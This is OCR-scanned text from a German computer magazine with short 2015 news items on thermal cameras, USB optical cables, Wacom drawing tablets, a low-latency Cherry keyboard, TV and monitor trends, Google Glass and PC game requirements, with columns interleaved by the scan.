sätzlich überlagert Flir mit der 
hauseigenen MSX-Technik im IR- 
Bild die Objektkanten aus den 
Aufnahmen mit einer zweiten 
herkömmlichen Kamera. So kann 
man sämtliche Objekte im Wär- 
mebild eindeutig zuordnen. 
Während der IR-Sensor bis- 
lang zwischen den Aufnahmen 
manuell über einen Schiebeme- 
chanismus zurückgesetzt wer- 
den musste, erledigt den Reset 
jetzt ein automatischer Shutter. 
Im deutlich kleineren Kamera- 
knubbel steckt wie zuvor ein ei- 


Optische Kabel für USB 3.1 


Glasfaserkabel versprechen, ein 
zentrales Problem von USB zu 
lösen: die mit jeder neuen Ge- 
schwindigkeitsstufe abnehmen- 
de zulässige Kabellänge. Auch 
das neue USB 3.1 mit Datenraten 
von 10 GBit/s (SuperSpeedPlus) 
wird zwar noch über Kupferkabel 
funktionieren, aber bereits bei 
SuperSpeed (USB 3.0) sind Stö- 
rungen durch Kabel eines der 
häufigsten Probleme. Die Firma 
Silicon Line hat nun den Chip 


32 


gener Akku, um das Smartphone 
zu entlasten - im ersten Modell 
war der iPhone-Akku bei IR-Auf- 
nahmen trotzdem nach zwei 
Stunden leer. Das neue One-Auf- 
steckmodul soll Mitte des Jahres 
erhältlich sein, über den Preis 
schweigt sich Flir noch aus. 

Zusätzlich hat Flir im Dezem- 
ber ein SDK herausgebracht - 
zunächst für iOS, die Android- 
Version soll im Frühjahr folgen -, 
mit dem man die erfassten Tem- 
peraturen für jedes Pixel ausle- 
sen kann. Das war bislang den 
teuren Flir-IR-Kameras vorbehal- 
ten. Außerdem lassen sich damit 
die Voreinstellungen des Shut- 
ter-Modus beeinflussen. 

Für preiswerte IR-Aufnahmen 
ohne Smartphone-Hilfe stellt Flir 
die 130 Gramm leichte Flir C2 
vor. Sie kommt mit dreizölligem 
kapazitiven Touchscreen (320 x 


Für USB 3.0 
respektive 

mm SuperSpeed 
(5 GBit/s) gibt es 

bereits optische Kabel - 

etwa mit 10 Metern Länge 
von der Firma Corning. 


Auf dem Mini-ITX-Board conga-IC97 (links) und dem COM 
Express Modul conga-TC97 (rechts) sitzen bereits Prozessoren 
aus der Broadwell-Familie. 


ren Ansatz kann man moderne 
Prozessoren in eigene Schaltun- 
gen integrieren, ohne sich mit 
deren Beschaltung zu quälen. 


240 Pixel), integriert eine IR- 
und eine herkömmliche CMOS- 
Kamera (640 x 480 Pixel) sowie 
einen Akku. Ihr Lepton-IR-Sensor 
hat nur 80 x 60 Pixel, nutzt aber 


Das neuerFlir 
One-Modul 
funktioniert an 
iOS und Android- 
Smartphones und löst deutlich 
höher auf als der Vorgänger. 


SL86050 vorgestellt, mit dem man 
aktive, optische USB-3.1-Kabel 
bauen kann. Silicon Line liefert al- 
lerdings nur das nackte Silizium- 
Die, das die elektrischen Signale 
in optische für Gasfasern umsetzt. 
Es besteht aus einem Treiber für 
einen Vertical Cavity Surface 
Emitting Laser (VCSEL) und einem 
Transimpedanzverstärker. Laser 
und Optik sind noch nicht enthal- 
ten, die Spannungsversorgung 
erfolgt über USB. (bbe) 
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Außerdem kann man durch 
Tausch des CPU-Moduls ohne 
großen Aufwand mehr Rechen- 
power bekommen. (bbe) 


ebenfalls die MSX-Kantenüberla- 
gerung, sodass man die Objekte 
in den Aufnahmen eindeutig zu- 
ordnen kann. Eine eingebaute 
LED dient als Kameraleuchte 
oder Orientierungshilfe. 

Für die C2 nennt Flir eine Ak- 
kulaufzeit von zwei Stunden. Bil- 
der speichert sie als JPEG und 
überträgt die Daten zum PC per 
Micro-USB. Dort kann man wie- 
derum jedem der 4800 Mess- 

punkte einen Temperatur- 
wert zuordnen. Der Mess- 
bereich liegt zwischen -10 
und 150 Grad Celsius, 
der Arbeitsbereich bei 
-10 bis 50 Grad. Als 
Zielpreis nennt Flir 
„unter 700 US-Dollar“, 
was sich hierzulande auf 
unter 700 Euro belaufen 
dürfte. Die C2 soll im März in den 
Handel kommen. (uk) 


Ui Embedded-Notiz 


Auch Toshiba hat nun 
Sender und Empfänger für 
drahtlose Ladegeräte mit 
bis zu 10 Watt im Portfolio. 
Sender (TB6865AFG) und 
Empfänger (TC7765WBG) 
halten sich dabei an den 
Qi-Standard der Low-Power- 
Spezifikation v1.1 des Wire- 
less Power Consortiums 
(WPC). 
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LCD-Tablet und Windows-Tablet von Wacom 


Der Grafik-Spezialiit Wacom 
stellt neue Geräte zum digitalen 
Zeichnen und Gestalten mit 
induktiven Stiften vor: ein Win- 
dows-Tablet mit 13,3 Zoll Bild- 
schirmdiagonale und ein LCD- 
Display mit integriertem Digiti- 
zer und 27 Zoll Diagonale. 

Das Windows-Tablet Cintiq 
Companion 2 lässt sich mit Stift 
und Fingern bedienen und be- 
hält die Form des Vormodells (c’t 
2/14, S. 54) bei: Ein breiter Rand 
um das 16:9-Display dient als 
Handballenauflage. An einer der 
schmalen Seiten liegen eine 
Reihe von Hardware-Tasten und 
ein Steuerring, die Anschlüsse 
gegenüber. 

Modernisiert wurden hinge- 
gen die Innereien: Das Display 
zeigt jetzt 2560 x 1440 Pixel 


(OHD), das Betriebssystem ist 
Windows 8.1, zudem kommen 
neue Core-i-Prozessoren zum 
Einsatz. 

Zunächst wird das Mal-Tablet 
in drei Ausführungen angebo- 
ten: Die „Value“-Variation mit 


Core i3 (1,7 GHz), einer 64-GByte- 
SSD und 4 GByte Arbeitsspeicher 
ist eher mager ausgestattet und 
kostet 1300 Euro. Für 300 Euro 
mehr erhält man das „Standard”- 
Modell mit einem Core i5 (2,9 
GHz), 128 GByte SSD- und 8 GByte 
Arbeitsspeicher. 

Die 2000 Euro teure Premium- 
Version läuft mit der Pro-Edition 
von Windows 8.1, einem mit 3,2 
GHz getakteten Core i7, einer 
256 GByte fassenden SSD und 
ebenfalls 8 GByte RAM. Im Laufe 
des Frühjahrs soll noch eine 
Luxusvariante „Enhanced“ für 
2500 Euro erscheinen - mit 512- 
GByte-SSD, 16 GByte RAM und 
Intel Iris Graphics 6100. 

Mit einem Gewicht von 1,7 Ki- 
logramm empfiehlt sich das Cin- 
tig Companion 2 nicht gerade als 


Für mobile Künstler: 

Das Windows-Tablet Cintiq 

Companion 2 von Wacom 

wird mit Finger oder Stift 

bedient und besitzt ein 

Display mit 13,3 Zoll 
Diagonale. 


E-Book-Reader. Das Zielpublikum 
sind digitale Künstler und Grafi- 
ker, die unterwegs einen hoch- 
wertigen digitalen Skizzenblock 
brauchen. Wie der Vorgänger 
lässt sich auch das Cintiq Compa- 
nion 2 passiv als Zweit-Display an 
einem Mac oder PC betreiben. 
Das LCD-Tablet Cintiq 27QHD 
ist für Anwender gedacht, die 
im Büro eine möglichst große 
Arbeitsfläche für Illustrationen 


Tastatur mit geringer Latenz 


Die Tastatur „MX Board 6.0” von 
Cherry verspricht eine Latenz 
von weniger als einer Millisekun- 
de zwischen Tastendruck und 
Ausgabe. 

Gamern und Vieltippern ist 
Cherry als Hersteller hochwerti- 
ger mechanischer Tastenschalter 
ein Begriff; die MX-Switches 
stecken heute in fast allen hoch- 
wertigen Tastaturen. Nun nimmt 
sich das Unternehmen dem 
Thema der Eingabe-Latenz an - 
durch analoges Auslesen der 
Tastenmatrix. 

Bei herkömmlichen Tastatu- 
ren wird die Tastenmatrix digital 
ausgelesen. Weil angetippte Tas- 
ten prellen, wartet der Tastatur- 
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Controller etwa fünf Millisekun- 
den, bevor er davon ausgeht, 
dass mit Sicherheit eine Taste 
gedrückt wurde. Erst dann leitet 
er das Signal an den Rechner 
weiter. 

Cherry ordnet jetzt jeder Taste 
und jeder Tastenkombination 
einen individuellen Widerstands- 
wert zu. Dieser wird von einem 
Cortex-M3-Kern innerhalb von 
etwa 0,4 Millisekunden ausge- 
wertet. Weil USB die Tastatur nur 
einmal pro Millisekunde abfragt, 
arbeitet die Tastatur praktisch la- 
tenzfrei. Netter Nebeneffekt: Das 
MX Board 6.0 erkennt auch belie- 
big viele gleichzeitig gedrückte 
Tasten (Full N-Key-Rollover). 
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LCD-Tablet fürs Büro: Das 
Cintiq 27QHD hat eine Auflösung 


von 2650 x 1440 Bildpunkten und soll 


97 Prozent des Adobe-RGB-Farbraums 


wiedergeben. 


oder zur Bildbearbeitung benöti- 
gen. Es wird in zwei Varianten 
angeboten: Das Cintiq 27QHD 
Touch lässt sich zusätzlich mit 
den Fingern bedienen, das Stan- 
dardmodell nur mit dem Stift. 

Das 27QHD löst die 2011 ein- 
geführten 24-Zoll-Vorgänger ab 
(c't 24/11, S. 71). Obwohl das 
Display jetzt eine Diagonale von 
27 Zoll Diagonale besitzt und 
die Auflösung von WUXGA auf 
OHD steigt, fällt das Gehäuse 
nur minimal größer aus. Das hat 
zwei Gründe: Das Display des 
27QHD besitzt ein Seitenverhält- 
nis von 16:9 (statt 16:10); zudem 
hat Wacom die Hardware-Tas- 
ten in eine drahtlose Fernbedie- 
nung ausgelagert. Lagen die 
„ExpressKeys“ bisher etwas ab- 
seits an den Rändern, kann man 
die ExpressKey Remote mit 
ihren 17 Tasten nach Wunsch 
platzieren. 

Beide Varianten sollen 97 Pro- 
zent des Adobe-RGB-Farbraums 
abdecken - beim Vormodell galt 
das nur für das Display der Touch- 
Variante. Mit 2200 beziehungs- 


Die High-End-Tastatur 


MX Board 6.0 von Cherry soll Tasten- 


weise 2800 Euro (mit Touch) lie- 
gen die Listenpreise knapp unter 
denen des Vormodells. Für die 
meisten Anwender kommt das 
27-Zoll-Modell dennoch teurer: 
Der beim 24-Zoll-Gerät noch mit- 
gelieferte Standfuß kostet beim 
27QHD 370 Euro extra. 

Ohne Standfuß kann man das 
LCD-Tablet nur flach auf dem 
Tisch betreiben; kleine Stellfüß- 
chen neigen das Cintiq auf maxi- 
mal 20 Grad. Erst der „Ergo 
Stand“ kann das Gerät bis in die 
Senkrechte aufrichten. Ein weite- 
res Extra ist das 230 Euro teure 
Kolorimeter „Wacom Colour Ma- 
nager“ zur Kalibrierung. 

Sowohl das Cintiq Compa- 
nion 2 als auch das Cintiq 27QHD 
werden mit demselben Pro Pen 
ausgeliefert wie die Vorgänger. 
Er unterstützt 2048 Druckstufen 
und übermittelt auch den Nei- 
gungswinkel an das Tablet(t). Die 
ersten drei Varianten des Cintiq 
Companion 2 sollen im Februar 
erscheinen; das Cintig 27QHD 
ist mit und ohne Touch bereits 
verfügbar. (ghi) 


anschläge effektiv latenzfrei an den Rechner weiterreichen. 


Die analoge Abtastung und 
der M3-Controller fordern aller- 
dings ihren Tribut: Samt Tas- 
tenbeleuchtung benötigt die 
Tastatur 500 mA, also die volle 
Stromzufuhr einer USB-Buchse. 
Die Oberschale besteht aus 
Spritzguss-Aluminium; die mit- 
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gelieferte Handballenablage 
dockt magnetisch an die Tasta- 
tur an. Das MX Board 6.0 soll im 
März für 190 Euro in den Handel 
kommen, zunächst nur mit 
roten MX-Schaltern und gleich- 
farbiger Tastenbeleuchtung. 
(mue) 
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Ulrike Kuhlmann 


Auf einen Blick 


Flachbild-TV-Trends: 


ultrahochauflösend, farbstark, bedienerfreundlich 


Sattere Farben, HDR-Wiedergabe und überarbeitete TV-Oberflächen 
sollen Flachbildfernseher fit machen für die Zukunft. Auch die UHD- 


Allianz hat die Zukunft im Blick. 


ie sich bereits auf der IFA im Spätsom- 

mer 2014 angedeutet hat, gibt es 
große TVs mit Full-HD-Auflösung heute nur 
noch im unteren Preissegment. 4K ist zum 
dominanten Maß für größere Flachbildfern- 
seher geworden. Größe und Auflösung rei- 
chen allerdings nicht mehr aus, auch das TV- 
Betriebssystem dürfte beim Fernseherkauf 
künftig eine Rolle spielen. 

So nutzen inzwischen drei Hersteller eine 
eigene Oberfläche für ihre Smart-TVs, inklu- 
sive eigenem Betriebssystem: Samsung setzt 
ab sofort auf das selbst entwickelte Tizen 
und will dies künftig auch in seinen anderen 
Geräten einsetzen - eine Smartwatch mit 
Tizen hat sich auf der CES bereits materiali- 
siert, in Indien ist ein erstes Smartphone mit 
Tizen-Betriebssystem auf den Markt gekom- 
men. LG nutzt schon seit der CES 2014 das 
ursprünglich für Palm-Geräte entwickelte 
WeböOS. Panasonic will ab sofort zu FirefoxOS 
wechseln. TV-Hersteller wie Sony, Philips und 
Sharp nutzen dagegen das von Google for- 
cierte Android TV. Damit setzen alle großen 
Hersteller auf ein Mobil-Betriebssystem. Ob 
sich die neuen TVs nun ebenso gut, schnell 


Sonys Android-TV 
X900C war mit nur 
0,2 Millimeter der 
dünnste auf der CES. 


A 


IRAK 
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und einfach steuern lassen wie Smartphones, 
wird sich allerdings erst in der Praxis heraus- 
stellen. 

Etliche Hersteller erleichtern die TV-Bedie- 
nung durch Sprachsteuerung und Empfeh- 
lungssysteme. Videoanbieter wie Netflix 
oder Amazon wollen ihre Inhalte den Kun- 
den allerdings lieber selbst empfehlen und 
dies nur ungern anderen überlassen. Haben 
die TV-Hersteller keinen Zugriff auf die nöti- 
gen Daten von Netflix & Co., können ihre TVs 
nur eigene Inhalte und die Angebote kleine- 
rer Anbieter finden und empfehlen. Hier sind 
die Geräte mit Android TV zumindest derzeit 
im Vorteil: Google kann die Inhalteanbieter 
mit seiner Hausmacht offenbar einfacher 
dazu überreden, die globale Suche in An- 
droid TV zu unterstützen. 


Quantenpunkte und HDR 


Sattere Farben, feinere Abstufungen, mehr 
Kontrast - auf diesen Dreiklang lässt sich der 
harte Techniktrend bei den neuen Flachbild- 
fernsehern destillieren. Samsung hat dem 
Ganzen mit SUHD einen eigenen Namen 
spendiert, Hisense nennt es ULED-TV, bei LG 
fällt die Technik unter ColorPrime und Sharp 
kombiniert seine Quattron-Technik (zusätz- 
lich gelbe Sub-Pixel) mit den Nanopartikeln 
im Backlight. Sony nutzt bereits seit 2013 zur 
Farbverbesserung die Triluminos-Technik 
mit Quantum Dots im Backlight. Mit ULED, 


LG bietet zwar auch farbstarke LCD-TVs mit 
Quantenpunkten an, setzt aber weiter auf die 
kontraststarken OLEDs. 
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Während die Curved TVs nur eine sehr 


geringe Biegung aufweisen, wickelt Sharp 
einen LCD-Schirm als Litfaßsäule auf - 
wie genau das gelingt, bleibt unklar. 


ColorPrime & Co. ziehen die anderen Herstel- 
ler nun nach - nach eigenen Angaben sämt- 
lich mit Nanopartikeln ohne das giftige 
Schwermetall Cadmium. 

Zusätzlich sorgt in den neuen Geräten 
eine Hintergrundbeleuchtung aus einem 
Feld von lokal dimmbaren LEDs für sehr 
dunkle und sehr helle Spitzen in der Darstel- 
lung - und damit für HDR-Bilder (High Dyna- 
mik Range). 

Für aktuelle Inhalte benötigt man die ex- 
trem satten Farben und HDR zwar nicht, doch 
der UHD-Standard sieht den größeren Farb- 
raum, eine feinere 10-Bit-Abstufung und den 
höheren In-Bild-Kontrast in späteren Ausbau- 
stufen bereits vor. Noch bevor es Datenträger 
für solche farb- und kontraststarken Inhalte 
gibt oder gar die TV-Sender derartiges aus- 
strahlen, produzieren und übermitteln zu- 
nächst Streaming-Dienste wie Netflix HDR- 
Aufnahmen - auf der CES wurde bekannt, 
dass LG und Sony demnächst Netflix-Videos 
mit hohem Kontrastumfang in ihren TVs an- 
bieten werden. Dabei handelt es sich zu- 
nächst um Eigenproduktionen von Netflix; 
vorhandenes Material muss neu gemastert 
werden. 

Damit solche Inhalte künftig auf allen Ge- 
räten verfügbar sind, haben sich TV-Herstel- 
ler und Inhalte-Anbieter in der UHD-Allianz 
zusammengetan. Darin wollen sie möglichst 
schnell einheitliche Qualitätsstandards für 
Ultra HD schaffen - inklusive größerem Farb- 
umfang und kontraststärkeren Bildern. Bis- 
lang waren die TV-Sender und deren überge- 
ordnete Gremien (z. B. EBU, European Broad- 
casting Union) für solche Standards zustän- 
dig. Mit der zunehmenden Bedeutung - und 
auch der schnelleren Umsetzung - von 4K- 
Übertragungen übernehmen Dienste wie 
Netflix & Co. nun deren Rolle. (uk) 
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Google stellt Betaprogramm für Glass ein 


Google hat die Beta-Phase seiner 
Datenbrille Google Glass been- 
det. Das bedeutet aber nicht, 
dass das Wearable-Programm 
eingestellt wird. Vielmehr wird 
es aus Google X in eine eigene 
Abteilung ausgegliedert. Die 
Aufsicht soll der frühere Apple- 
Manager Tony Fadell bekom- 
men, der sich damit noch stärker 
zum Hardware-Boss des Inter- 
net-Konzerns entwickelt. Die bis- 
herige Glass-Projektleiterin Ivy 
Ross behalte die operative Füh- 
rung der Sparte, werde aber Fa- 
dell unterstehen, hieß es. 


Das Glass-Team sieht sich nun 
„einen Schritt weiter vom Kon- 
zept hin zur Realität”. Das Explo- 
rer-Programm stelle es ein, um 
sich besser auf die nächste Phase 
zu konzentrieren - neue Modelle 
zu entwickeln. Näheres verrät 


Google noch nicht. Bislang 


wurde lediglich bekannt, dass 
die Chips für das nächste Glass- 
Modell von Intel kommen sollen. 
Für dieses Jahr wird mit einer 
neuen Version gerechnet. 
Google Glass wurde im April 
2012 vorgestellt. Seit Mai 2014 
war die Datenbrille in den USA 
für 1500 US-Dollar im Explorer- 
Programm erhältlich. In der Öf- 
fentlichkeit stieß Google Glass 
vor allem aus Sorge um die Pri- 
vatsphäre auf Ablehnung. Be- 
sonders viel Kritik kam aus 
Europa. Wohl auch deshalb ver- 
marktete Google die Glass zu- 


Erst mit großem 
Hype gestartet, 
dann folgte die 
Ernüchterung: 
Googles Daten- 
brille Glass 


letzt stärker als Werkzeug für 
spezialisierte Aufgaben am Ar- 
beitsplatz, beispielsweise in der 
Autobranche oder der Logistik. 
Zudem gab es technische Pro- 
bleme: Vor allem kurze Batterie- 
laufzeiten engten den Nutzen 
der Brille stark ein. (anw/spo) 


24-Zöller mit AK und 27-Zöller mit 5K 


Bislang hatten lediglich Dell 
und Nec 24"-Monitore mit 
3840 x 2160 Bildpunkten im Pro- 
gramm. Ab April zieht HP nun 
mit dem Z24s nach: Dessen IPS- 
Display hat ebenfalls UHD-Auflö- 
sung und eine Diagonale von 
23,8 Zoll (rund 60 cm). Die Bild- 
signale nimmt der Z24s über Dis- 
playPort, DVI, HDMI und Mini- 
DisplayPort entgegen. AK-Signa- 
le mit einer Bildwiederholrate 
von 60 Hz lassen sich bei dem 
24-Zöller allerdings nur über die 
DisplayPorts zuspielen. Seine 
HDMI-1.4- und DVI-Eingänge 
unterstützen die erforderliche 
Bandbreite nicht, weshalb man 
sich hier entweder mit einer ge- 
ringeren Auflösung oder einer 
AK-Darstellung mit 30 Hz begnü- 
gen muss. 

Laut HP deckt der Z24s 
den AdobeRGB-Farbraum nahe- 
zu vollständig ab, womit er zu 
den Wide-Color-Gamut-Monito- 
ren zählt. Aufgrund des blick- 
winkelstabilen IPS-Panels dürfte 
sich die gute Farbsättigung 
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auch bei seitlicher Betrachtung 
nur marginal ändern. 

HPs zweite Neuerung überbie- 
tet die AK-Auflösung sogar: Der 
Z27q bringt es auf beachtliche 


Monitore mit Kurven 


Samsung will künftig außer TVs 
auch Monitore vermehrt mit 
gebogenem Schirm anbieten. 
Flaggschiff ist derzeit der 34-zöl- 
lige 34SE790C, ein 21:9-Display 
mit Ultra-HD-Auflösung (3840 x 
2160 Pixel). Der Monitor nutzt ein 
VA-Panel mit 3000R (3 m) Radius 
- üblich ist hier bislang 4000R 
(4 m). Mit zwei HDMI-Eingängen, 
einem DisplayPort, einem USB- 
Hub mit vier Ports sowie einge- 
bauten 7-Watt-Lautsprechern ist 
der höhenverstellbare 34SE790C 
gut ausgestattet. Es soll ihn auch 
als 29-Zoll-Variante mit 2560 x 
1080 Pixeln geben; wann diese 
auf den Markt kommt, sagte 
Samsung noch nicht. Das größe- 


re Modell 34SE790C soll Ende Juli 
in Deutschland für 1300 Euro an- 
geboten werden. 

Auch LG hat gebogene Moni- 
tore im Programm, darunter den 
34UC87 mit 34 Zoll Diagonale 
(86 cm). Er zeigt 3440 x 1440 Pixel 
(Quad-HD-Auflösung, 110 dpi), 
der bereits im November ange- 
kündigte 31MU97 dagegen ech- 
tes 4K mit 4096 x 2160 Bildpunk- 
ten. Der 34UC87 unterstützt 
Thunderbolt 2 und hat ein IPS- 
Panel, 7-Watt-Stereolautsprecher, 
zwei HDMI-Buchsen und einen 
DisplayPort-Eingang sowie einen 
USB-3.0-Hub mit zwei Anschlüs- 
sen. Er ist ab sofort für 1000 Euro 
erhältlich. (uk) 


u 


Samsungs Monitor 34SE790C ist gekrümmt und 
mit diversen Signaleingängen gesegnet. 


5120 x 2800 Bildpunkte. Das gibt 
es bislang nur bei Dells UP2715K 
und dem aktuellen 27"-iMac. Das 
IPS-Panel des 27-Zöllers deckt 
den AdobeRGB-Farbraum laut 
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HP ebenfalls zu 99 Prozent ab. 
Bei Bedarf kann man den ange- 
zeigten Farbraum auf sRGB oder 
den Videofarbraum BT.709 redu- 
zieren. Während sich HPs 4K-Mo- 
nitor auch an DVI- und HDMI be- 
treiben lässt, stellt der Z27q aus- 
schließlich zwei DisplayPorts be- 
reit. Zudem ist ein USB-3.0-Hub 
mit fünf Ports integriert. 

Beide HP-Monitore lassen sich 
in der Höhe und der Neigung 
verstellen und seitlich sowie ins 
Hochformat drehen, was ergo- 
nomisches Arbeiten ermöglicht. 
Den 24-Zöller Z24s mit UHD-Auf- 
lösung will HP im April auf den 
Markt bringen, der 5K-Schirm 
Z27q soll voraussichtlich im März 
in den Handel kommen. Preise 
für die Geräte nannte HP bislang 
nicht. (spo) 


HPs Z24s bringt 3840 x 2160 Bildpunkte auf 
einer recht kleinen Schirmfläche mit 24-Zoll- 
Diagonale unter und löst mit 185 dpi 
entsprechend fein auf. 
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Adaptive-Sync-Monitore im Kommen 


Gaming-Monitore mit Nvidias G- 
Sync legten vor, nun folgen die 
Adaptive-Sync-Geräte: LG und 
Samsung haben jüngst Displays 
mit der von AMD FreeSync ge- 
tauften Technik gezeigt. Die LCDs 
unterstützen eine variable Bild- 
wiederholrate zwischen 30 und 
144 Hz und laufen so immer im 
gleichen Takt wie die Grafikkarte, 
wodurch sie Darstellungsartefak- 
te wie Stottern oder Tearing ver- 
meiden. Während Nvidias pro- 
prietäre G-Sync-Technik meist 
nur in Gaming-LCDs anzutreffen 
ist, wurde Adaptive-Sync respek- 
tive FreeSync im DisplayPort 1.2a 
standardisiert. Die dynamische 
Synchronisation mit AMD-Grafik- 
karten funktioniert somit künftig 
mit jedem Monitor mit entspre- 
chendem DisplayPort-Receiver. 

LG stellt ein 34-zölliges Dis- 
play mit 21:9-Format und 86 
Zentimeter Bilddiagonale vor. 
Der 34UM67 zeigt 2560 x 1080 
Bildpunkte und nutzt ein blick- 
winkelstabiles IPS-Panel. Er soll 
ab März für 550 Euro erhältlich 
sein. Außerdem zeigte LG auf 
der CES eine 29-Zoll-Variante 
(74 cm) ebenfalls mit 2560 x 
1080 Pixeln und IPS-Panel, die 
Adaptive-Sync unterstützt. Der 
29-Zöller soll 350 Euro kosten 
und ab März erhältlich sein. 

Samsung nimmt zwei Adap- 
tive-Sync- respektive FreeSync- 
Modelle ins Programm: Den 
UE590 gibt es mit 23,6 Zoll Diago- 
nale und mit 28 Zoll (60 cm und 
71cm). In beiden Monitoren 
steckt ein TN-Panel und beide 
zeigen Ultra-HD-Auflösung mit 
3840 x 2160 Bildpunkten. Die Dis- 
plays haben zwei HDMI- und zwei 
DisplayPort-Eingänge. Als Grau- 
schaltzeit für den 28-Zöller nennt 
Samsung eine Millisekunde, was 
flüssiges Spielen erlauben sollte. 
Die FreeSync-Geräte sollen ab 
März angeboten werden, Preise 
stehen noch nicht fest. 

In seiner UE850-Serie bietet 
Samsung zwei blickwinkelstabile 
PLS-Modelle ebenfalls mit Adap- 
tive-Sync an: eines mit 60 Zenti- 
meter Diagonale (23,6") und 
einen großen Schirm mit 80 Zen- 
timeter Diagonale (31,5"). Der 28- 
zöllige FreeSync-Monitor 28UE- 
850 (71 cm Diagonale) nutzt TN- 
Technik, seine Grauschaltzeit spe- 
zifiziert der Hersteller mit einer 
Millisekunde. Für die PLS-Modelle 
fehlen diese Angaben noch, alle 
drei zeigen UHD-Auflösung. Die 
höhenverstellbaren Schirme ha- 
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ben zwei DisplayPort- und zwei 
HDMI-Eingänge sowie einen USB- 
Hub mit vier Anschlüssen. Hier 
nennt Samsung weder Preise 
noch den Marktstart; er soll vo- 
raussichtlich im ersten Quartal er- 
folgen. Samsung kündigte an, 
dass alle kommenden 4K-Moni- 
tormodelle AMDs FreeSync-Tech- 
nik respektive Adaptive-Sync un- 
terstützen werden. (uk) 
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LGs 34UM67 vermeidet mit Adaptive-Sync 
Ruckler und Tearing in Spielen. 
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Systemvoraussetzungen 
für The Witcher 3 


Am 19. Mai erscheint das von vielen Spielern 
erwartete Rollenspiel-Epos The Witcher 3: 
Wild Hunt für Xbox One, Playstation 4 und 
PCs. Schon jetzt hat das polnische Entwick- 
lerstudio CD Projekt Red die Systemvoraus- 
setzungen für die PC-Version bekannt ge- 
geben. Die haben es in sich - Witcher-Fans 
können die Zeit bis Mai also nutzen, um ihr 
System aufzurüsten. 

Damit The Witcher 3 überhaupt läuft, sind 
ein Vierkernprozessor mit mindestens 3 GHz 
(Intel i5-2500K oder AMD Phenom X4 940) 
und 6 GByte Arbeitsspeicher Pflicht. Als Grafik- 
karten-Minimum setzt der Entwickler eine 
Nvidia GeForce GTX 660 oder AMD Radeon 
HD 7870 an. Auf der Festplatte belegt das 
Spiel 40 GByte und fordert die 64-Bit-Version 
von Windows 7 oder Windows 8.1 und Di- 
rectX 11. 

Wer das Spiel in Full HD und hoher Detail- 
stufe erleben möchte, braucht mindestens 
einen Core-i7 3770 oder AMD FX-8350 mit 
4 GHz Taktfrequenz. Die empfohlenen Grafik- 
karten GeForce GTX 770 und Radeon R9 290 
sind ab zirka 240 Euro erhältlich. Dazu 
empfehlen die Entwickler 8 GByte Arbeits- 
speicher. 


Das bildhübsche Rollenspiel The Witcher 3 erscheint am 19. Mai 


und lastet auch High-End-Systeme aus. 


Die hohen Systemanforderungen sind vor 
allem in der aufwendigen Grafik begründet, 
die die REDengine 3 erzeugt. Sie simuliert 
einen Tag- und Nachtwechsel und verschie- 
dene Wetterbedingungen. Alle Charaktere 
sind sehr detailliert gestaltet. CD-Mitbegrün- 
der Marcin Iwinski erklärte gegenüber dem 
Branchenmagazin MCV im Januar 2014, dass 
die Grafik extrem wichtig für die gesamte 
The-Witcher-3-Erfahrung sei. So sei es nicht 
das Ziel gewesen, dass das Spiel auf jedem 
System laufe - schließlich wollte man bei der 


PC-Version von GTA V kommt später 


Rockstar hat die Veröffentlichung der PC- 
Version des Open-World-Actionspiels GTA V 
vom 27. Januar auf den 24. März verschoben. 
Demnach brauche man die Zeit noch zum 
Testen und zur Feinabstimmung. Die ur- 
sprüngliche Version von GTA V erschien be- 
reits im September 2013 für die Xbox 360 
und PS3. Im November 2014 kam eine über- 
arbeitete Version für die Xbox One und Play- 
station 4 mit exklusiven Funktionen heraus, 
die bei der PC-Version auch enthalten sein 
werden. Letztere bietet zudem noch feinere 
Grafik und unterstützt auch 4K-Auflösungen. 
Dafür braucht man allerdings einen sehr 
leistungsfähigen Rechner. 


GTA V wird eines der größten PC-Spiele 
überhaupt: Es belegt laut Rockstar satte 65 
GByte Festplattenspeicher. Damit es läuft, 
muss ein Vierkernprozessor samt 4 GByte Ar- 
beitsspeicher im System stecken. Für einen 
flüssigen Full-HD-Spielablauf empfehlen die 
Entwickler einen Intel Core-i5 3470 oder 
AMD FX-8350, 8 GByte Speicher und eine 
GeForce GTX 660 oder Radeon HD 7870. Für 
4K werden die Grafikanforderungen höher 
liegen. Als Kopierschutz nutzt Rockstar eine 
Securom-ähnliche Technik. Sie prüft während 
des Spielens die Nutzungsberechtigung 
übers Internet. Folglich muss man auch im 
Einzelspielermodus online sein. (mfi) 


Die PC-Version von GTA V erscheint am 24. März. Sie unterstützt AK, 
bietet eine sehr hohe Sichtweite und belegt 65 GByte auf der Festplatte. 
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Entwicklung keine Abstriche bei der Grafik 
machen. 

Unabhängig von der Bildqualität machte 
die bereits auf der Gamescom 2014 gezeigte 
Vorabversion einen vielversprechenden Ein- 
druck. Die prächtige Spielwelt lädt zum 
Erkunden ein und ist so groß, dass manche 
Strecken sogar mit einem Pferd eine halbe 
Stunde dauern. Alternativ erlauben Weg- 
bäume die Reise per Quick Travel zu verkürzen. 
Rund 100 Stunden soll ein Durchlauf inklusive 
aller Nebenmissionen dauern. (mfi) 


Gaming-Tastatur mit 
Smartphone-Dock 


Roccat hat eine Gaming-Tastatur mit dreh- 
barer Smartphone-Halterung vorgestellt, die 
Skeltr. Durch eine App für Android und iOS 
wird das Smartphone zum zusätzlichen 
Touchscreen für den PC. Smartphone und 
Tastatur kommunizieren per Bluetooth mit- 
einander. Die Halterung ist an einer Füh- 
rungsschiene befestigt, um sie nach Bedarf 
zu verschieben. 

Es soll auch eine Variante ohne Zehner- 
block geben, die Phobo. Hier ist die Handy- 
Halterung eine separate Einheit. 

Roccat arbeitet darüber hinaus an einer 
RGB-Tastatur: Die Ryos MK FX unterscheidet 
sich von der in c't 21/14 auf Seite 92 vor- 
gestellten Ryos MK dadurch, dass sich die 
Beleuchtungsfarbe aller Tasten einzeln 
anpassen lässt. Alle drei Geräte sollen im 
zweiten Halbjahr erscheinen; Preise stehen 
noch nicht fest. (ghi) 


Auch Roccat will eine RGB-Tastatur 
anbieten. Bei der Ryos MK FX kann der 
Anwender die Hintergrundbeleuchtung 
jeder Taste einzeln umfärben. 
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Office-Paket mit tausenden Vorlagen 


Unter der Produktbezeichnung 
Office Perfect X5 hat bhv eine 
verbesserte Version seiner Büro- 
suite aus Textprogramm, Tabel- 
lenkalkulation, Präsentations- 
software, Bildbearbeitung und 
Datenbank herausgebracht. Die 
Oberfläche der Programme lehnt 
sich ans Design neuerer Micro- 
soft-Programme mit Ribbon an. 
Der Funktionsumfang reicht an 
den der Microsoft-Vorbilder nicht 
heran, bietet aber alle wichtigen 
Funktionen, um etwa Angebote 
